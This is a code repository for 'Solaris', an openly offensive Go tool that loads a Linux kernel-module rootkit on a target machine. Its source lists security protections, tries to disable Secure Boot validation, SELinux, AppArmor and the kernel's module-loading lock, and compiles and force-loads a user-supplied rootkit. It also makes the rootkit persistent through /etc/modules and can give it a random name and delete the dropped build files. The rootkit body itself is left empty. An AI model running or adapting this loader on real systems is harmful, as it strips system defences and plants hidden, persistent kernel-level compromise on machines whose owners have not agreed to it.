├── solaris.png
├── usage.png
├── README.md
├── LICENSE
└── solaris.go
/solaris.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/redcode-labs/Solaris/HEAD/solaris.png
--------------------------------------------------------------------------------
/usage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/redcode-labs/Solaris/HEAD/usage.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | A local LKM rootkit loader
10 |
11 |
12 |
13 |  
14 |
15 |
16 | ## Introduction
17 | This loader can list both user and kernel mode protections that are present on the system, and additionally disable some of them.
18 |
19 | It locally drops and compiles source code of any Linux kernel-mode rootkit specified by the user.
20 |
21 | ## Usage
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 | Place the code of your selected rootkit inside `rootkit_template` variable within `solaris.go`.
30 |
31 | Compile the Golang binary and launch it on the target system.
32 |
33 | ## License
34 |
35 | This software is under [MIT License](https://en.wikipedia.org/wiki/MIT_License)
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 redcodelabs.io
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/solaris.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "github.com/akamensky/argparse"
5 | "github.com/fatih/color"
6 |
7 | //"github.com/olekukonko/tablewriter"
8 | "fmt"
9 | "io"
10 | "io/ioutil"
11 | "math/rand"
12 | "os"
13 | "os/exec"
14 | "reflect"
15 | "strings"
16 | "time"
17 |
18 | "github.com/common-nighthawk/go-figure"
19 | "github.com/taion809/haikunator"
20 | )
21 |
22 | var red = color.New(color.FgRed).SprintFunc()
23 | var green = color.New(color.FgGreen).SprintFunc()
24 | var cyan = color.New(color.FgBlue).SprintFunc()
25 | var bold = color.New(color.Bold).SprintFunc()
26 | var yellow = color.New(color.FgYellow).SprintFunc()
27 | var magenta = color.New(color.FgMagenta).SprintFunc()
28 | var blue = color.New(color.FgBlue).SprintFunc()
29 |
30 | var makefile_template = `
31 | obj-m += ROOTKIT_NAME.o
32 |
33 | all:
34 | make -C /lib/modules/KERNEL_VER/build M=$(PWD) modules
35 |
36 | clean:
37 | make -C /lib/modules/KERNEL_VER/build M=$(PWD) clean
38 | rm -rf *.o *.ko *.symvers *.mod.* *.order
39 | `
40 |
41 | //PLACE YOU ROOTKIT HERE
42 | var rootkit_template = `
43 |
44 | `
45 |
46 | var disable_secure_boot = false
47 | var disable_modules_disabled = false
48 | var disable_selinux = false
49 | var disable_apparmor = false
50 |
51 | func f(s string, arg ...interface{}) string {
52 | return fmt.Sprintf(s, arg...)
53 | }
54 |
55 | func p() {
56 | fmt.Println()
57 | }
58 |
59 | func contains(s interface{}, elem interface{}) bool {
60 | arrV := reflect.ValueOf(s)
61 | if arrV.Kind() == reflect.Slice {
62 | for i := 0; i < arrV.Len(); i++ {
63 | if arrV.Index(i).Interface() == elem {
64 | return true
65 | }
66 | }
67 | }
68 | return false
69 | }
70 |
71 | func exit_on_error(message string, err error) {
72 | if err != nil {
73 | fmt.Printf("%s %v", red("["+message+"]"+":"), err.Error())
74 | cleanup()
75 | os.Exit(0)
76 | }
77 | }
78 |
79 | func print_good(msg string) {
80 | //dt := time.Now()
81 | //t := dt.Format("15:04")
82 | fmt.Printf(" %s :: %s \n", green(bold("[+]")), msg)
83 | p()
84 | }
85 |
86 | func print_info(msg string) {
87 | //dt := time.Now()
88 | //t := dt.Format("15:04")
89 | fmt.Printf(" [*] :: %s\n", msg)
90 | p()
91 | }
92 |
93 | func print_error(msg string) {
94 | //dt := time.Now()
95 | //t := dt.Format("15:04")
96 | fmt.Printf(" %s :: %s \n", red(bold("[x]")), msg)
97 | }
98 |
99 | func print_warning(msg string) {
100 | //dt := time.Now()
101 | //t := dt.Format("15:04")
102 | fmt.Printf(" %s :: %s \n", yellow(bold("[!]")), msg)
103 | }
104 |
105 | func print_banner() {
106 | banner := figure.NewFigure("Solaris", "colossal", true)
107 | color.Set(color.FgYellow)
108 | p()
109 | banner.Print()
110 | fmt.Println("")
111 | color.Unset()
112 | p()
113 | fmt.Println("\tCreated by: redcodelabs.io", red(bold("<*>")))
114 | }
115 |
116 | func random_int(min int, max int) int {
117 | rand.Seed(time.Now().UnixNano())
118 | return rand.Intn(max-min) + min
119 | }
120 |
121 | func random_string(n int) string {
122 | rand.Seed(time.Now().UnixNano())
123 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
124 | b := make([]rune, n)
125 | for i := range b {
126 | b[i] = letters[rand.Intn(len(letters))]
127 | }
128 | return string(b)
129 | }
130 |
131 | func write_to_file(filename string, data string) {
132 | file, err := os.Create(filename)
133 | exit_on_error("FILE CREATION ERROR", err)
134 | defer file.Close()
135 |
136 | _, err = io.WriteString(file, data)
137 | exit_on_error("FILE WRITE ERROR", err)
138 | }
139 |
140 | func append_to_file(file string, content string) {
141 | f, err := os.OpenFile(file,
142 | os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
143 | defer f.Close()
144 | _, err = f.WriteString(content + "\n")
145 | exit_on_error("FILE APPEND ERROR", err)
146 | }
147 |
148 | func read_from_file(file string) string {
149 | fil, err := os.Open(file)
150 | exit_on_error("FILE OPEN ERROR", err)
151 | //defer file.Close()
152 | b, _ := ioutil.ReadAll(fil)
153 | return string(b)
154 | }
155 |
156 | func cmd_out(command string) (string, error) {
157 | cmd := exec.Command("bash", "-c", command)
158 | output, err := cmd.CombinedOutput()
159 | out := string(output)
160 | return out, err
161 | }
162 |
163 | func haikunate() string {
164 | h := haikunator.NewHaikunator()
165 | return h.DelimHaikunate("_")
166 | }
167 |
168 | func is_kernel_sig() string {
169 | out, err := cmd_out("cat /boot/config-$(uname -r)")
170 | if err != nil {
171 | return yellow("UNKNOWN")
172 | }
173 | if strings.Contains(out, "CONFIG_MODULE_SIG=y") {
174 | return red("ENABLED")
175 | }
176 | return green("DISABLED")
177 | }
178 |
179 | func is_kernel_sig_force() string {
180 | out, err := cmd_out("cat /boot/config-$(uname -r)")
181 | if err != nil {
182 | return yellow("UNKNOWN")
183 | }
184 | if strings.Contains(out, "CONFIG_MODULE_SIG_FORCE=y") {
185 | return red("ENABLED")
186 | }
187 | return green("DISABLED")
188 | }
189 |
190 | func is_kallsyms() string {
191 | out, err := cmd_out("cat /boot/config-$(uname -r)")
192 | if err != nil {
193 | return yellow("UNKNOWN")
194 | }
195 | if strings.Contains(out, "CONFIG_KALLSYMS=y") {
196 | return green("ENABLED")
197 | }
198 | return red("DISABLED")
199 | }
200 |
201 | func is_kallsyms_all() string {
202 | out, err := cmd_out("cat /boot/config-$(uname -r)")
203 | if err != nil {
204 | return yellow("UNKNOWN")
205 | }
206 | if strings.Contains(out, "CONFIG_KALLSYMS_ALL=y") {
207 | return green("ENABLED")
208 | }
209 | return red("DISABLED")
210 | }
211 |
212 | func is_secure_boot() string {
213 | out, err := cmd_out("mokutil --sb-state")
214 | if err != nil {
215 | disable_secure_boot = true
216 | return yellow("UNKNOWN")
217 | }
218 | if strings.Contains(out, "enabled") {
219 | disable_secure_boot = true
220 | return red("ENABLED")
221 | }
222 | return green("DISABLED")
223 | }
224 |
225 | func is_apparmor() string {
226 | out, err := cmd_out("aa-enabled")
227 | if err != nil {
228 | disable_apparmor = true
229 | return yellow("UNKNOWN")
230 | }
231 | if strings.Contains(out, "Yes") {
232 | disable_apparmor = true
233 | return red("ENABLED")
234 | }
235 | return green("DISABLED")
236 | }
237 |
238 | func is_selinux() string {
239 | out, err := cmd_out("sestatus")
240 | if err != nil {
241 | return green("DISABLED")
242 | }
243 | if strings.Contains(out, "enabled") {
244 | disable_selinux = true
245 | return red("ENABLED")
246 | }
247 | return green("DISABLED")
248 | }
249 |
250 | func is_mod_disabled() string {
251 | out, err := cmd_out("cat /proc/sys/kernel/modules_disabled")
252 | if err != nil {
253 | disable_modules_disabled = true
254 | return yellow("UNKNOWN")
255 | }
256 | if strings.Contains(out, "1") {
257 | disable_modules_disabled = true
258 | return red("ENABLED")
259 | }
260 | return green("DISABLED")
261 | }
262 |
263 | func install_headers(kernel_ver string) {
264 | pm := "apt-get install"
265 | if !strings.Contains("which pacman", "not") {
266 | pm = "pacman -S"
267 | }
268 | _, err := cmd_out(f("%s linux-headers-%s", pm, kernel_ver))
269 | if err != nil {
270 | print_error(red("Cannot install kernel headers"))
271 | } else {
272 | print_good(green("Installed kernel headers"))
273 | }
274 | }
275 |
276 | func cleanup() {
277 | cmd_out("rm *.ko; rm *.obj; rm Makefile; rm *.o; rm *.c")
278 | }
279 |
280 | func privcheck() {
281 | out, _ := cmd_out("id")
282 | if strings.Contains(out, "gid=0") {
283 | print_good(green("Root privileges are present"))
284 | } else if strings.Contains(out, "root") {
285 | print_warning(yellow("User is not root, but is a member of admin group"))
286 | } else {
287 | print_error(red("No root privileges detected. Rootkit insertion might be impossible"))
288 | }
289 | p()
290 | p()
291 | }
292 |
293 | func enum_sec() {
294 | fmt.Println(bold("| SECURITY MEASURES "))
295 | fmt.Println("| -> SIG :: " + is_kernel_sig())
296 | fmt.Println("| -> SIG_FORCE :: " + is_kernel_sig_force())
297 | fmt.Println("| -> SECURE_BOOT :: " + is_secure_boot())
298 | fmt.Println("| -> APPARMOR :: " + is_apparmor())
299 | fmt.Println("| -> SELINUX :: " + is_selinux())
300 | fmt.Println("| -> MOD_DISABLE :: " + is_mod_disabled())
301 | fmt.Println("| -> KSYMS :: " + is_kallsyms())
302 | fmt.Println("| -> KSYMS_ALL :: " + is_kallsyms_all())
303 | p()
304 | }
305 |
306 | func disable_sec() {
307 | if disable_secure_boot {
308 | _, err := cmd_out("sudo mokutil --disable-validation")
309 | if err != nil {
310 | print_error("Cannot disable secure boot: " + red(err.Error()))
311 | } else {
312 | print_good(green("Disabled secure boot"))
313 | }
314 | }
315 | if disable_modules_disabled {
316 | _, err := cmd_out("echo 0 > /proc/sys/kernel/modules_disabled")
317 | if err != nil {
318 | print_error("Cannot disable LKM insertion protection: " + red(err.Error()))
319 | } else {
320 | print_good(green("Disabled LKM insertion protection"))
321 | }
322 | }
323 | if disable_selinux {
324 | _, err := cmd_out("setenforce 0")
325 | if err != nil {
326 | print_error("Cannot disable SELinux: " + red(err.Error()))
327 | } else {
328 | print_good(green("Disabled SELinux"))
329 | }
330 | }
331 | if disable_apparmor {
332 | _, err := cmd_out("sudo systemctl disable apparmor")
333 | if err != nil {
334 | print_error("Cannot disable AppArmor: " + red(err.Error()))
335 | } else {
336 | print_good(green("Disabled AppArmor"))
337 | }
338 | }
339 | p()
340 | }
341 |
342 | func show_help() {
343 | msg := fmt.Sprintf(`
344 | USAGE:
345 | solaris
346 |
347 | DROPPER OPTIONS:
348 | -k, --kernel Target kernel version (default: %s)
349 | -r, --random Use random string to name dropped rootkit
350 | -e, --enum Only enumerate active security measures and exit
351 | -l, --load Load the rootkit after compilation
352 | --insmod Use 'insmod' command to load a module (default: %s)
353 | -i, --install Install all missing kernel headers
354 | -c, --cleanup Clean all dropped files
355 | -p, --persist Make the rootkit persistent
356 |
357 | `, green("local"), green("modprobe"))
358 | fmt.Println(msg)
359 | }
360 |
361 | func main() {
362 | print_banner()
363 | p()
364 | parser := argparse.NewParser("solaris", "") //, usage_prologue)
365 | var load *bool = parser.Flag("l", "load", &argparse.Options{Help: "Load the rootkit after compilation"})
366 | var force *bool = parser.Flag("f", "force", &argparse.Options{Help: "When loading the rootkit, use force method"})
367 | var random *bool = parser.Flag("r", "random", &argparse.Options{Help: "Use random string to name dropped rootkit "})
368 | //var out *string = parser.String("", "out", &argparse.Options{Help: "Target kernel version", Default: "haiku"})
369 | var disable *bool = parser.Flag("d", "disable", &argparse.Options{Help: "Attempt to disable detected security measures"})
370 | //var disable *bool = parser.Flag("", "table", &argparse.Options{Help: "Attempt to disable detected security measures"})
371 | var install *bool = parser.Flag("i", "install", &argparse.Options{Help: "Install kernel headers required for compilation"})
372 | //var install *bool = parser.Flag("", "debug", &argparse.Options{Help: "Install kernel headers required for compilation"})
373 | var enum_only *bool = parser.Flag("e", "enum", &argparse.Options{Help: "Install kernel headers required for compilation"})
374 | var clean *bool = parser.Flag("c", "cleanup", &argparse.Options{Help: "Install kernel headers required for compilation"})
375 | //var commands_only *bool = parser.Flag("", "commands", &argparse.Options{Help: "Install kernel headers required for compilation"})
376 | //var panicc *bool = parser.Flag("", "panic", &argparse.Options{Help: "The rootkit causes kernel panic when unloaded"})
377 | var persist *bool = parser.Flag("p", "persist", &argparse.Options{Help: "Make the rootkit persistent"})
378 | var insmod *bool = parser.Flag("", "insmod", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"})
379 | var kernel *string = parser.String("", "kernel", &argparse.Options{Help: "Target kernel version", Default: "local"})
380 | //var lhost *string = parser.String("", "lhost", &argparse.Options{Help: "Target kernel version", Default: local_ip})
381 | //var lport *string = parser.String("", "lport", &argparse.Options{Help: "Target kernel version", Default: "4444"})
382 | //var cmd *string = parser.String("", "cmd", &argparse.Options{Help: "Target kernel version", Default: "none"})
383 | //var global *bool = parser.Flag("", "global", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"})
384 | //var no_unload *bool = parser.Flag("", "no-unload", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"})
385 | //var no_unload *bool = parser.Flag("", "static-inline", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"})
386 | //var no_unload *bool = parser.Flag("", "verbose", &argparse.Options{Help: "Use deprecated 'insmod' command to load a module"})
387 | commandline_args := os.Args
388 | if contains(commandline_args, "-h") ||
389 | contains(commandline_args, "--help") ||
390 | len(commandline_args) == 1 {
391 | show_help()
392 | os.Exit(0)
393 | }
394 | err := parser.Parse(commandline_args)
395 | if err != nil {
396 | show_help()
397 | os.Exit(0)
398 | }
399 | kernel_ver, _ := cmd_out("uname -r")
400 | pref := "Detected"
401 | rootkit_name := haikunate()
402 | //fmt.Println(makefile_template)
403 | if *install {
404 | install_headers(*kernel)
405 | }
406 | if *random {
407 | rootkit_name = "[" + random_string(random_int(1, 10)) + "]"
408 | }
409 | if *kernel != "local" {
410 | kernel_ver = *kernel
411 | pref = "Target"
412 | }
413 |
414 | // ################# OPTIONS REPLACEMENT
415 | makefile_template = strings.Replace(makefile_template, "KERNEL_VER", kernel_ver, -1)
416 | makefile_template = strings.Replace(makefile_template, "ROOTKIT_NAME", rootkit_name, -1)
417 | // ############################
418 |
419 | print_info(f("%s kernel version -> %s", pref, cyan(kernel_ver)))
420 | privcheck()
421 | enum_sec()
422 | if *disable {
423 | disable_sec()
424 | }
425 | if *enum_only {
426 | os.Exit(0)
427 | }
428 | write_to_file("Makefile", makefile_template)
429 | write_to_file(rootkit_name+".c", rootkit_template)
430 | o, err := cmd_out("make")
431 | if err != nil {
432 | print_error(red("[!!!] Compilation error: " + err.Error()))
433 | fmt.Println(red(o))
434 | cleanup()
435 | os.Exit(0)
436 | } else {
437 | print_good(green("Compiled module"))
438 | }
439 | loader_flags := ""
440 | loader_cmd := "modprobe"
441 | if *insmod {
442 | loader_cmd = "insmod"
443 | }
444 | if *force {
445 | loader_flags = "--force --allow-unsupported"
446 | }
447 | if *load {
448 | _, err := cmd_out(f("%s %s %s.ko", loader_cmd, loader_flags, rootkit_name))
449 | exit_on_error("CANNOT LOAD MODULE", err)
450 | if err != nil {
451 | cleanup()
452 | }
453 | }
454 | if *persist {
455 | success := true
456 | folder_name := haikunate()
457 | _, err = cmd_out("mkdir /lib/modules/$(uname -r)/" + folder_name)
458 | if err != nil {
459 | print_error("Cannot create directory for module persistence: " + err.Error())
460 | success = false
461 | }
462 | _, err := cmd_out(f("cp %s /lib/modules/$(uname -r)/%s/", rootkit_name+".ko", folder_name))
463 | if err != nil {
464 | print_error("Cannot copy module: " + err.Error())
465 | success = false
466 | }
467 | _, err = cmd_out(f(`echo %s >> /etc/modules`, rootkit_name))
468 | if err != nil {
469 | print_error("Cannot add module to /etc/modules: " + err.Error())
470 | success = false
471 | }
472 | if success {
473 | print_good("Successfully obtained persistence")
474 | }
475 | }
476 | if *clean{
477 | cleanup()
478 | }
479 | }
480 |
--------------------------------------------------------------------------------